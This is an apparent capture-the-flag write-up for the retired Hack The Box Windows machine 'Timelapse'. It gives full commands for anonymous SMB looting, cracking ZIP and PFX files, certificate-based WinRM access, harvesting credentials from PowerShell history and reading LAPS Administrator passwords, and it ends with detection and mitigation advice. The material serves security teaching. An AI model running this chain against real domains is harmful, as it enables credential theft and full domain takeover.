Skip to content
Pwnversity
TIMELAPSE8 min · upd. 2026-11

Timelapse

active-directorysmbpfxwinrmlapscracking
Platform Hack The Box (retired)
OS Windows — DC dc01.timelapse.htb
Difficulty Easy
Approx. time ~30 min
Chain Anonymous SMB → winrm_backup.zip (zip2john) → PFX (pfx2john) → certificate-based WinRM → PSReadLine history (svc_deploy) → LAPS_Readers → Administrator password
flowchart TD
  A["Anonymous SMB: Shares"] --> B["winrm_backup.zip"]
  B -->|zip2john → rockyou| C["legacyy_dev_auth.pfx"]
  C -->|pfx2john → rockyou| D["Cert + private key"]
  D -->|evil-winrm -S -c -k| E["legacyy shell"]
  E -->|ConsoleHost_history.txt| F["svc_deploy creds"]
  F -->|net user| G["svc_deploy ∈ LAPS_Readers"]
  G -->|Get-AdmPwdPassword dc01| H["Administrator local password"]
  H -->|evil-winrm| I["Administrator (root.txt)"]
  • An anonymous SMB share (Shares) holds winrm_backup.zip. We crack it with zip2john; inside is a password-protected PFX, which we crack with pfx2john.
  • From the PFX we extract certificate and private key and authenticate over WinRM-over-TLS (5986) with no password.
  • The PowerShell history (ConsoleHost_history.txt) leaks svc_deploy’s credentials, and it belongs to LAPS_Readers. That group can read the LAPS passwords of the domain’s machines, so we read the local Administrator password and log in.

  1. Port scan

    What I do:

    Ventana de terminal
    IP=<target_ip>
    ports=$(sudo nmap -p- --min-rate 5000 -n -Pn $IP | grep '^[0-9]' | cut -d/ -f1 | paste -sd,)
    sudo nmap -sCV -p$ports $IP -oN nmap/targeted

    What I see: DC dc01, domain timelapse.htb, SMB (445), LDAP and WinRM over TLS on 5986 (note: not plaintext 5985).

    What I think: Windows + AD, no web. I start with anonymous SMB. 5986 being open hints the access will be certificate-based WinRM. → Network service enumeration

2. Initial access: from the ZIP to the certificate

Section titled “2. Initial access: from the ZIP to the certificate”
  1. Anonymous share

    What I do:

    Ventana de terminal
    smbclient -L //$IP/ -N
    smbclient //$IP/Shares -N
    smb> recurse ON; prompt OFF; mget *

    What I see: Dev and HelpDesk folders. In Dev, winrm_backup.zip (password-protected).

    What I think: the name (winrm_backup) already says there’s WinRM auth material inside. → AD / SMB enumeration

  2. Crack the ZIP and the PFX

    What I do:

    Ventana de terminal
    zip2john winrm_backup.zip > zip.john
    john zip.john --wordlist=/usr/share/wordlists/rockyou.txt # → supremelegacy
    # inside: legacyy_dev_auth.pfx, also password-protected
    pfx2john legacyy_dev_auth.pfx > pfx.john
    john pfx.john --wordlist=/usr/share/wordlists/rockyou.txt # → thuglegacy

    What I see: two cracked passwords, one for the ZIP and a different one for the PFX.

  3. Extract certificate and key

    What I do:

    Ventana de terminal
    openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
    openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem

    What I think: a PFX is a PKCS#12 container with certificate + private key. WinRM over TLS accepts certificate authentication, so I don’t need a user password. → Credentials and certificates

  4. Certificate-based WinRM

    What I do:

    Ventana de terminal
    evil-winrm -i $IP -c cert.pem -k key.pem -S

    What I see: a shell as legacyy. user.txt → abcd…wxyz (redacted).

  1. Read the console history

    What I do:

    Ventana de terminal
    type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

    What I see: an old command with svc_deploy’s credentials in clear: E3R$Q62^12p7PLlC%KWaxuaV.

    What I think: PSReadLine’s ConsoleHost_history.txt is a goldmine: it keeps everything the user typed, passwords included. It’s one of the first things I check on a Windows shell. → Windows enumeration

  2. WinRM as svc_deploy

    What I do:

    Ventana de terminal
    evil-winrm -i $IP -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
    net user svc_deploy

    What I see: svc_deploy is a member of the LAPS_Readers group.

  1. Understand LAPS

    What I think: LAPS (Local Administrator Password Solution) manages the local admin passwords of domain computers and stores them in a computer-object attribute (ms-Mcs-AdmPwd). Whoever holds the extended right to read that attribute (here, LAPS_Readers) can read the local Administrator password of those machines. → Credential dumping

  2. Read the Administrator password

    What I do: with the AdmPwd.PS module or directly over LDAP.

    Ventana de terminal
    # Check who holds the right:
    Find-AdmPwdExtendedRights -Identity 'Domain Controllers' | select ExtendedRightHolders
    # Read the password:
    Get-AdmPwdPassword -ComputerName dc01 | select Password

    Alternative with no module upload, over LDAP:

    Ventana de terminal
    nxc ldap $IP -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps

    What I see: the local Administrator password of dc01.

    Why it works: LAPS_Readers has the ReadLAPSPassword extended right delegated over the Domain Controllers, so the password attribute, normally unreadable, is readable for this group.

  3. Shell as Administrator

    What I do:

    Ventana de terminal
    evil-winrm -i $IP -u administrator -p '<LAPS_pass>' -S
    cat C:\Users\Administrator\Desktop\root.txt

    What I see: a shell as Administrator. root.txt → abcd…wxyz (redacted).


The anonymous share has a WinRM backup. Which file format lets you authenticate with no password?

What I tried Result How I ruled it out
Using the ZIP pass for the PFX Fails They’re two different passwords; crack the PFX separately
WinRM on 5985 (plaintext) Closed The open port is 5986 (TLS); use -S in evil-winrm
Classic local privesc hunting Unnecessary The route was reading LAPS with the LAPS_Readers group
  • Anonymous share → download it all and check the “backup” files. A protected .zip/.pfx usually holds auth material.
  • PFX = cert + key. Crack with pfx2john and authenticate over WinRM TLS with -c/-k; you don’t need the user password.
  • First shell on Windows → read ConsoleHost_history.txt. It’s the fastest credential source.
  • Telling group name (LAPS_Readers) → check it. Membership of a group with LAPS read rights is direct DA if it covers the DCs.
  • LAPS rotates: if the read password doesn’t work, read it again.
Phase Detection Mitigation
Anonymous share with secrets Events 5140/5145; review backups with sensitive material Remove anonymous access; don’t leave ZIP/PFX with keys in shares
Offline cracking Leaves no trace on the target Long passwords on ZIP/PFX; don’t distribute private keys
Credentials in PSReadLine Audit reads of ConsoleHost_history.txt Disable/clear the history; don’t type passwords on the command line
LAPS read Event 4662 on the ms-Mcs-AdmPwd attribute; later 4624 Review who holds ReadLAPSPassword; segment the reader groups; modern Windows LAPS with auditing